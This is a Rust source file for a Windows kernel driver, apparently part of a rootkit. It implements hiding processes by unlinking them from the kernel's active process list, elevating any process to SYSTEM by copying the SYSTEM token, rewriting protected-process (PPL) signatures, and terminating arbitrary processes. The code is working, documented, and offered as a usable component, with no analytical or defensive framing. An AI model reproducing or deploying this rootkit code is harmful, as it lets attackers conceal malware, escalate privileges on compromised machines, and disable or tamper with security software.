use wdk_sys::*; use wdk_sys::ntddk::{ ObfDereferenceObject, PsLookupProcessByProcessId, ZwClose, ZwOpenProcess, ZwTerminateProcess, }; use { alloc::vec::Vec, common::structs::TargetProcess, spin::{Lazy, Mutex}, }; use crate::{PROCESS_SIGNATURE, Result}; use crate::error::ShadowError; use crate::lock::with_push_lock_exclusive; use crate::offsets::{ get_active_process_link_offset, get_process_lock, get_signature_offset, get_token_offset, }; // Max Number PIDs const MAX_PID: usize = 100; /// Represents a process in the operating system. /// /// The `Process` struct provides a safe abstraction over the `EPROCESS` structure used /// in Windows kernel development. It allows for looking up a process by its PID and ensures /// proper cleanup of resources when the structure goes out of scope. pub struct Process { /// Pointer to the EPROCESS structure, used for managing process information. pub e_process: PEPROCESS, } impl Process { /// Creates a new `Process` instance by looking up a process by its PID. /// /// This method attempts to find a process using its process identifier (PID). If the process /// is found, it returns an instance of the `Process` structure containing a pointer to the /// `EPROCESS` structure. /// /// # Arguments /// /// * `pid` - The process identifier (PID) of the process to be looked up. /// /// # Returns /// /// * `Ok(Self)` - Returns a `Process` instance if the process lookup is successful. /// * `Err(ShadowError)` - Returns an error message if the lookup fails. /// /// # Examples /// /// ```rust,ignore /// let process = Process::new(1234); /// match process { /// Ok(proc) => println!("Process found: {:?}", proc.e_process), /// Err(e) => println!("Error: {}", e), /// } /// ``` #[inline] pub fn new(pid: usize) -> Result { let mut process = core::ptr::null_mut(); let status = unsafe { PsLookupProcessByProcessId(pid as _, &mut process) }; if NT_SUCCESS(status) { Ok(Self { e_process: process }) } else { Err(ShadowError::ApiCallFailed("PsLookupProcessByProcessId", status)) } } } /// Implements the `Drop` trait for the `Process` structure to handle cleanup when the structure goes out of scope. /// /// The `Drop` implementation ensures that the reference count on the `EPROCESS` structure /// is properly decremented when the `Process` instance is dropped. This prevents resource leaks. impl Drop for Process { /// Cleans up the resources held by the `Process` structure. /// /// This method decrements the reference count of the `EPROCESS` structure when the /// `Process` instance is dropped, ensuring proper cleanup. fn drop(&mut self) { if !self.e_process.is_null() { unsafe { ObfDereferenceObject(self.e_process.cast()) }; } } } /// List of target processes protected by a mutex. pub static PROCESS_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_PID))); /// This implementation focuses on the hiding and unhiding of processes. impl Process { /// Hides a process by removing it from the active process list in the operating system. /// /// # Arguments /// /// * `pid` - The process identifier (PID) of the target process to be hidden. /// /// # Returns /// /// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring processes /// in the list before it was modified. /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. pub unsafe fn hide_process(pid: usize) -> Result { // Log the start of the process hiding routine. log::info!("Attempting to hide process with PID: {}", pid); // Getting offsets based on the Windows build number let active_process_link = get_active_process_link_offset(); let offset_lock = get_process_lock(); // Retrieve the EPROCESS structure for the target process let process = Self::new(pid)?; log::info!("Found EPROCESS for PID {} at address: {:p}", pid, process.e_process); // Retrieve the `LIST_ENTRY` for the active process link. let current = process.e_process.cast::().offset(active_process_link) as PLIST_ENTRY; log::info!("Current LIST_ENTRY pointer: {:p}", current); // Retrieve the push lock for synchronization. let push_lock = process.e_process.cast::().offset(offset_lock) as *mut u64; log::info!("Using push lock at: {:p}", push_lock); // Use synchronization to ensure thread safety while modifying the list. with_push_lock_exclusive(push_lock, || { log::info!("Acquired exclusive push lock for process hiding"); // The next process in the chain let next = (*current).Flink; // The previous process in the chain let previous = (*current).Blink; log::info!( "Before unlink: current->Flink = {:p}, current->Blink = {:p}", (*current).Flink, (*current).Blink ); log::info!("Neighboring entries: next = {:p}, previous = {:p}", next, previous); // Check if the neighboring pointers are valid before proceeding if next.is_null() || previous.is_null() { log::error!("One or both of the neighboring pointers are null. Aborting unlink operation."); return Err(ShadowError::InvalidListEntry); } // Storing the previous list entry, which will be returned let previous_link = LIST_ENTRY { Flink: next as *mut LIST_ENTRY, Blink: previous as *mut LIST_ENTRY, }; // Unlink the process from the active list (*next).Blink = previous; (*previous).Flink = next; log::info!("Unlinked process from active process list"); // Make the current list entry point to itself to hide the process (*current).Flink = current; (*current).Blink = current; log::info!("Process LIST_ENTRY modified to point to itself"); // Log final state of the current entry log::info!( "Final state of current LIST_ENTRY: Flink = {:p}, Blink = {:p}", (*current).Flink, (*current).Blink ); Ok(previous_link) }) } /// Unhides a process by restoring it to the active process list in the operating system. /// /// # Arguments /// /// * `pid` - The process identifier (PID) of the target process to be unhidden. /// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring processes in the list, /// which was saved when the process was hidden. /// /// # Returns /// /// * `Ok(NTSTATUS)` - Indicates the process was successfully restored to the active list. /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. pub unsafe fn unhide_process(pid: usize, list_entry: PLIST_ENTRY) -> Result { // Getting offsets based on the Windows build number let active_process_link = get_active_process_link_offset(); let offset_lock = get_process_lock(); // Retrieve the EPROCESS structure for the target process let process = Self::new(pid)?; // Retrieve the `LIST_ENTRY` for the active process link, which connects the process // to the list of active processes in the system. let current = process.e_process.cast::().offset(active_process_link) as PLIST_ENTRY; let push_lock = process.e_process.cast::().offset(offset_lock) as *mut u64; // Use synchronization to ensure thread safety while modifying the list with_push_lock_exclusive(push_lock, || { // Restore the `Flink` and `Blink` from the saved `list_entry` (*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY; (*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY; // Re-link the process to the neighboring processes in the chain let next = (*current).Flink; let previous = (*current).Blink; (*next).Blink = current; (*previous).Flink = current; }); Ok(STATUS_SUCCESS) } /// Enumerates all currently hidden processes. /// /// This function iterates through the list of hidden processes stored in `PROCESS_INFO_HIDE` and returns /// a vector containing their information. /// /// # Returns /// /// * A vector containing the information of all hidden processes. pub unsafe fn enumerate_hide_processes() -> Vec { let mut processes: Vec = Vec::new(); let process_info = PROCESS_INFO_HIDE.lock(); for i in process_info.iter() { processes.push(TargetProcess { pid: (*i).pid as usize, ..Default::default() }); } processes } } /// This implementation focuses on finishing the process, changing the PPL and elevating the process. impl Process { // System process (By default the PID is 4) const SYSTEM_PROCESS: usize = 4; /// Elevates a process by setting its token to the system process token. /// /// # Arguments /// /// * `pid` - The process identifier (PID) of the target process to elevate. /// /// # Returns /// /// * `Ok(NTSTATUS)` - Indicates that the token was successfully elevated. /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. pub unsafe fn elevate_process(pid: usize) -> Result { // Get the offset for the token in the EPROCESS structure let offset = get_token_offset(); // Retrieving EPROCESS from the target process let target = Self::new(pid)?; // Retrieve the EPROCESS for the system process (PID 4) let system = Self::new(Self::SYSTEM_PROCESS)?; // Access the Token field in the EPROCESS structure of both the target and system processes let target_token_ptr = target.e_process.cast::().offset(offset) as *mut u64; let system_token_ptr = system.e_process.cast::().offset(offset) as *mut u64; // Copy the system process token to the target process target_token_ptr.write(system_token_ptr.read()); Ok(STATUS_SUCCESS) } /// Modifies the protection signature (PP / PPL) of a process in the operating system. /// /// # Arguments /// /// * `pid` - The process identifier (PID) of the target process whose protection signature will be modified. /// * `sg` - The signature level (signer) to be set for the process. /// * `pt` - The protection type to be applied to the process. /// /// # Returns /// /// * `Ok(NTSTATUS)` - Returns if the signature and protection levels were successfully updated. /// * `Err(ShadowError)` - Returns an error if the process lookup fails or the operation encounters an issue. pub unsafe fn protection_signature(pid: usize, sg: usize, tp: usize) -> Result { // Get the offset for the protection signature within the EPROCESS structure let offset = get_signature_offset(); // Retrieve the EPROCESS structure for the target process let process = Self::new(pid)?; // Create the new protection signature value by combining the signature level and protection type let new_sign = (sg << 4) | tp; let process_signature = process.e_process.cast::().offset(offset) as *mut PROCESS_SIGNATURE; // Modify the signature level and protection type of the target process (*process_signature).SignatureLevel = new_sign as u8; (*process_signature).Protection.SetType(tp as u8); (*process_signature).Protection.SetSigner(sg as u8); Ok(STATUS_SUCCESS) } /// Terminates a process in the operating system using its process identifier (PID). /// /// # Arguments /// /// * `pid` - The process identifier (PID) of the process to be terminated. /// /// # Returns /// /// * `Ok(NTSTATUS)` - Returns if the process was successfully terminated. /// * `Err(ShadowError)` - Returns an error if any step (opening, terminating, or closing the process) fails. pub unsafe fn terminate_process(pid: usize) -> Result { let mut h_process: HANDLE = core::ptr::null_mut(); let mut object_attributes: OBJECT_ATTRIBUTES = core::mem::zeroed(); let mut client_id = CLIENT_ID { UniqueProcess: pid as _, UniqueThread: core::ptr::null_mut(), }; // Open a handle to the target process with all access rights let mut status = ZwOpenProcess( &mut h_process, PROCESS_ALL_ACCESS, &mut object_attributes, &mut client_id, ); if !NT_SUCCESS(status) { return Err(ShadowError::ApiCallFailed("ZwOpenProcess", status)); } // Terminate the process with an exit code of 0 status = ZwTerminateProcess(h_process, 0); if !NT_SUCCESS(status) { return Err(ShadowError::ApiCallFailed("ZwTerminateProcess", status)); } // Close the handle to the process status = ZwClose(h_process); if !NT_SUCCESS(status) { return Err(ShadowError::ApiCallFailed("ZwClose", status)); } Ok(STATUS_SUCCESS) } }